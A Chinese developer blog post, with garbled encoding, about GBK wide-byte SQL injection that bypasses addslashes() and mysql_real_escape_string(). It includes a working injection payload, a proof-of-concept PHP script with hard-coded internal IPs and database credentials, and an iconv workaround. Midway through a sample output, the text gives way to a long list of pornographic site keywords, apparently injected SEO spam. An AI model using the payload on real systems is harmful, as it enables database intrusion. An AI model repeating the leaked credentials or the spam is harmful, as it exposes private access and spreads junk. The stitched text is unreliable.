在上次活動(dòng)開發(fā)過程中,有個(gè)程序?qū)懥讼旅孢@樣的語(yǔ)句:
$sName = $_GET['name'];
$sName = addslashes($sName);
$sql = "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%$sName%';";
var_dump($sql);
exit();
結(jié)果掃描工具一掃描,發(fā)現(xiàn)問題來了,被掃除了SQL注入漏洞,而且還引發(fā)了整個(gè)數(shù)據(jù)表被鎖?。▊渥ⅲ阂姷诙糠郑?/p>
檢查安全中心掃描日志發(fā)現(xiàn):
當(dāng)SQL輸入為:
name=41%bf%27%20or%20sleep%2810.10%29%3d0%20limit%201%23
的時(shí)候引發(fā)了SQL注入。
//這里輸出:
string(98) "SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41¿///' or sleep(10.10)=0 limit 1#%';"
根本原因是addslash對(duì)于字符%BF%27的漏洞。
該漏洞最早2006年被國(guó)外用來討論數(shù)據(jù)庫(kù)字符集設(shè)為GBK時(shí),0xbf27本身不是一個(gè)有效的GBK字符,但經(jīng)過 addslashes() 轉(zhuǎn)換后變?yōu)?xbf5c27,前面的0xbf5c是個(gè)有效的GBK字符,所以0xbf5c27會(huì)被當(dāng)作一個(gè)字符0xbf5c和一個(gè)單引號(hào)來處理,結(jié)果漏洞就觸發(fā)了。
mysql_real_escape_string() 也存在相同的問題,只不過相比 addslashes() 它考慮到了用什么字符集來處理,因此可以用相應(yīng)的字符集來處理字符。
在MySQL中有兩種改變默認(rèn)字符集的方法。
方法一:
改變mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立連接時(shí)使用
CODE:
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);或者
mysql_query(“SET NAMES ‘GBK’”, $c);
問題是方法二在改變字符集時(shí)mysql_real_escape_string() 并不知道而使用默認(rèn)字符集處理從而造成和 addslashes() 一樣的漏洞(備注:這句話是摘抄的,我也沒看懂)
網(wǎng)絡(luò)上查詢到有人說:
當(dāng)mysql_real_escape_string檢測(cè)到的編碼方式跟client設(shè)置的編碼方式(big5/bgk)不一致時(shí),mysql_real_escape_string跟addslashes是沒有區(qū)別的
比如
[client]
default-character-set=latin1
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);
這種情況下mysql_real_escape_string 是基于 latin1工作的,是不安全的
[client]
default-character-set=gbk
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);
這種情況下,mysql_real_escape_string 基于 gbk 工作,是正常的
但是,這里我108、153上驗(yàn)證的都不成功:
用12機(jī)器的php文件在108機(jī)器mysql上,查詢到
在153鏈接測(cè)試環(huán)境CDB結(jié)點(diǎn):
執(zhí)行來自:
http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測(cè)試代碼
<?php
//$c = mysql_connect("localhost", "user", "pass");
$c = mysql_connect("10.1.164.108", "oss", "oss_da");
mysql_select_db("a_jasonyeTest", $c);
//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");
//mysql_select_db("dbGuild20120903jasonye", $c);
mysql_select_db("database", $c);
// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #';
$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>
發(fā)現(xiàn):都存在漏洞
縱觀以上兩種觸發(fā)漏洞的關(guān)鍵是addslashes()、mysql_real_escape_string()在Mysql配置為GBK時(shí)就可以觸發(fā)漏洞,
另外:mysql_real_escape_string在執(zhí)行前,必須正確連接到Mysql才有效。
又有,上面產(chǎn)生漏洞的原因主是有GBK的特殊字符所引起的,因而,我們需要在進(jìn)行addslashes或者mysql_real_escape之前,對(duì)輸入字符串進(jìn)行特殊處理一下。
$this->sName = $_GET['name'];
$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);
$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);
Iconv這種方式比較粗暴,對(duì)于不能識(shí)別的特殊字符之后的語(yǔ)句在153機(jī)器上會(huì)截?cái)嗖荒茏R(shí)別的字符后面的內(nèi)容:
如下:
string(32) "41
成人免费黄色网|
欧美极度另类性三渗透|
亚洲国产精品一区二区久久|
日本中文字幕片|
四虎成人永久免费视频|
欧美激情图片小说|
日本少妇性生活|
丰满人妻一区二区三区免费视频|
欧美成欧美va|
国产高清精品一区|
中文字幕不卡免费视频|
欧美一区二区麻豆红桃视频|
青青草成人av|
超碰在线观看免费|
久久精品人人做人人爽97|
国产麻豆剧果冻传媒视频杜鹃|
日韩精品久久久久久久的张开腿让|
亚洲AV无码国产成人久久|
婷婷视频一区二区三区|
国产精品沙发午睡系列|
日韩伦理在线视频|
亚洲午夜久久久久久久久|
在线视频在线视频7m国产|
在线区一区二视频|
在线日本视频|
亚洲国产成人精品激情在线|
久久久久久91精品色婷婷|
久久亚洲春色中文字幕久久久|
欧美一区二区中文字幕|
天堂视频免费看|
国产精品免费看久久久无码|
欧美91大片|
日韩成人综合网|
久久精品国产精品亚洲精品色|
www.亚洲一区二区三区|
精品国产制服丝袜高跟|
99热在线网站|
久久99国内|
国产精品1区2区3区4区|
午夜cr在线观看高清在线视频完整版|
欧美一区第一页|
日韩精品一区二区三区四区|
国产999精品|
欧美精品久久久久久久久久丰满|
波多野结衣一区|
欧美成人xxxxx|
五月婷婷在线播放|
久久久久国产精品|
懂色av粉嫩av浪潮av|
国产av熟女一区二区三区|
精品一区二区三区五区六区七区|
午夜视频在线免费观看|
久久国产精品系列|
av毛片在线播放|
中文字幕免费不卡|
日韩在线天堂|
久久久精品国产99久久精品芒果|
国产精品羞羞答答在线观看|
丁香五六月婷婷久久激情|
免费看又黄又无码的网站|
四虎国产精品成人免费入口|
毛片视频免费播放|
国内成+人亚洲+欧美+综合在线|
欧美色黄视频|
久久久久中文字幕2018|
成人h动漫免费观看网站|
欧美黑人xxxx|
国产一区二区三区电影在线观看|
天天综合网天天做天天受|
成人福利在线观看视频|
亚洲熟女www一区二区三区|
久久精品无码中文字幕|
中文字幕乱码在线观看|
欧美在线一二三|
非洲黑人最猛性xxxx交|
在线观看免费成人av|
欧美色男人天堂|
香蕉污视频在线观看|
韩国中文字幕hd久久精品|
国产精品美女一区二区在线观看|
日韩欧美亚洲视频|
欧美日韩免费一区二区三区|
国产呦精品一区二区三区网站|
天堂中文在线观看视频|
精品亚洲乱码一区二区|
欧美日韩精品一本二本三本|
男人的天堂在线视频|
国产精品蜜月aⅴ在线|
а天堂8中文最新版在线官网|
97精品国产91久久久久久|
黄色精品一区|
香蕉视频色版|
97成人在线观看视频|
国产精品制服诱惑|
亚洲神马久久|
少妇久久久久久久久久|
26uuu国产在线精品一区二区|
视频精品一区二区三区|
欧美自拍大量在线观看|
国产精品免费视频一区二区三区|
日韩成人精品一区|
中文字幕亚洲精品在线观看|
九九热在线视频|
天堂va蜜桃一区二区三区漫画版|
国产在视频线精品视频|
国产妇女馒头高清泬20p多|
国产精品嫩草99av在线|
精品免费视频一卡2卡三卡4卡不卡|
精品人妻伦一二三区久久|
欧美精品色综合|
91欧美一区二区|
亚洲一道本在线|
日本高清黄色片|
在线观看欧美精品|
成人羞羞国产免费图片|
成人在线免费视频观看|
国产大片一区|
久操成人在线视频|
99国内精品|
日韩黄色高清视频|
欧美成人亚洲高清在线观看|
国产亚洲精品久久久久久牛牛|
中文字幕在线视频第一页|
欧美激情精品久久久久久变态|
国产原创剧情av|
亚洲欧美综合v|
亚洲欧美在线看|
成人在线免费电影|
久久电影tv|
亚洲欧美一区二区三区极速播放|
国内精品久久久久国产|
国产一区二区在线电影|
六月亚洲精品一区|
韩国av一区|
国产精品一国产精品最新章节|
久久伊人色综合|
日韩欧美国产综合一区|
亚洲一区二区观看|
成人午夜福利一区二区|
欧美日韩三级一区二区|
一区二区三区高清视频在线观看|
欧美视频亚洲色图|
99精品免费观看|
奇米四色中文综合久久|
亚洲成人av中文|
eeuss影院www在线播放|
日韩欧美另类中文字幕|
波多野结衣乳巨码无在线|
亚洲第一成人在线视频|
136国产福利精品导航|
国内精品不卡一区二区三区|
羞羞网站在线|
中文字幕丰满乱子伦无码专区|
国产又大又黄的视频|
少女频道在线观看免费播放电视剧|
午夜视频精品|
国产区精品在线观看|
missav|免费高清av在线看|
4438x成人网最大色成网站|
1区2区在线观看|
日本久久久久久久久|
av免费在线网址|
黄色高清视频在线观看|
91免费精品国偷自产在线在线|
丁香花在线高清完整版视频|
91丨九色丨尤物|
久久www免费人成看片高清|
91精品啪在线观看国产爱臀|
成人天堂资源www在线|
免费a级黄色片|
久久久久成人精品无码|
精品在线视频免费|
91亚洲一区精品|
牛牛精品成人免费视频|
久草一区二区|
久久久一本精品|
婷婷综合激情网|
性爱视频日本|
精品电影在线|
欧美三级日韩三级国产三级|
另类国产ts人妖高潮视频|
水蜜桃亚洲一二三四在线|
日韩午夜电影免费看|
欧美激情欧美狂野欧美精品|
黄色成人在线观看|
国产精品熟女一区二区不卡|
在线中文字幕电影|
国产91亚洲精品久久久|
最新日韩欧美|
国产一区二区三区在线观看免费|
91成人福利视频|
日韩精品国产一区二区|
欧美精品卡一卡二|
国产精品久久久久一区|
日韩在线视频观看免费|
欧美日本一道|
欧美在线视频免费|
有码一区二区三区|
精品二区在线观看|
久久www免费人成看片高清|
美女扒开大腿让男人桶|
精品国产二区在线|
亚洲欧美国产不卡|
欧美在线观看一二区|
欧美精品一二区|
国偷自产av一区二区三区小尤奈|
**网站欧美大片在线观看|
亚洲一区二区福利|
一起操在线观看|
免费观看一区二区三区毛片|
97视频在线观看免费|
久久6精品影院|
亚洲欧美日韩国产一区二区三区|
国产成人在线综合|
欧美成人亚洲成人日韩成人|
激情欧美成人久久综合小说|
亚洲一级片免费看|
精品一区二区三区免费站|
午夜精品视频一区二区三区在线看|
精品欧美一区二区久久|
久久国产在线观看|
制服.丝袜.亚洲.中文.综合懂|
成人短剧在线观看|
欧美无人区码suv|
欧美日本在线|
欧美成人乱码一区二区三区|
久久色精品视频|
日本一极黄色片|
黄色片视频免费观看|
av最新在线|
激情欧美一区二区三区黑长吊|
18video性欧美19sex高清|
日韩欧美你懂的|
国产午夜在线观看|
gogogo高清在线观看免费完整版|
成人久久久久久|
成人国产精品免费|
国产在线观看18|
婷婷五月色综合|
亚洲天堂网在线观看视频|
播金莲一级淫片aaaaaaa|
无码人妻久久一区二区三区蜜桃|
午夜裸体女人视频网站在线观看|
小草在线视频免费播放|
国产成人精品一区二三区四区五区|
韩国女主播成人在线观看|
日韩在线观看视频一区二区三区|
成人免费激情视频|
东方伊人免费在线观看|
日韩综合久久|
wwww国产精品欧美|
久久偷窥视频|
美国欧美日韩国产在线播放|
91精品天堂|
免费网站www在线观看|
国产精品毛片在线看|
午夜不卡久久精品无码免费|
欧美jizz18性欧美|
久久国产这里只有精品|
日韩欧美一级大片|
国产美女在线播放|
亚洲第一黄色|
国产日产精品一区二区三区四区|
亚洲女同一区二区|
久久亚区不卡日本|
秋霞在线观看一区二区三区|
欧美激情喷水视频|
99久久精品免费看国产免费软件|
精品人妻一区二区三区免费看|
乱馆动漫1~6集在线观看|
成都免费高清电影|
国产伦精品一区二区三区四区免费|
久久国产精品高清一区二区三区|
国产三级精品在线观看|
日韩三级一区|
麻豆一区二区三区在线观看|
日韩av片免费观看|
一级全黄少妇性色生活片|
青青在线视频一区二区三区|
在线观看欧美视频|
91九色porn|
视频在线你懂的|
午夜不卡福利视频|
中文字幕制服丝袜|
香蕉视频亚洲一级|
99a精品视频在线观看|
奇米精品在线|
伊大人久久香线焦宗合一75大|
午夜视频一区在线观看|
日本免费在线视频不卡一不卡二|
欧美一区二区麻豆红桃视频|
亚洲第一视频在线播放|
在线免费观看的av网站|
xxxxxx黄色|
六月婷婷激情综合|
国产精品成人69xxx免费视频|
亚洲永久免费观看|
免费在线视频一级不卡|
制服丝袜亚洲精品中文字幕|
久久久久成人精品无码|
欧美日韩123区|
伊人国产在线看一|
国产精品成人观看视频国产奇米|
欧美 亚洲 另类 激情 另类|
嫩草视频在线观看|
岛国毛片av在线|
精品国产福利在线|
亚洲欧美成人网|
成人拍拍拍免费视频网站|
99视频这里有精品|
97精品久久久|
浴室偷拍美女洗澡456在线|
国产精品99视频|
亚洲青涩在线|
国产精品久久久久久久久果冻传媒|
国产羞羞视频在线播放|
在线观看日韩视频|
亚洲欧美日韩一区二区三区四区|
青草全福视在线|
国产尤物视频在线|
日本特黄a级高清免费大片|
中出一区二区|
四虎成人在线观看|
宇都宫紫苑在线播放|
99久久夜色精品国产网站|
成人av一区二区三区在线观看|
永久免费看片在线播放|
国产成人av网址|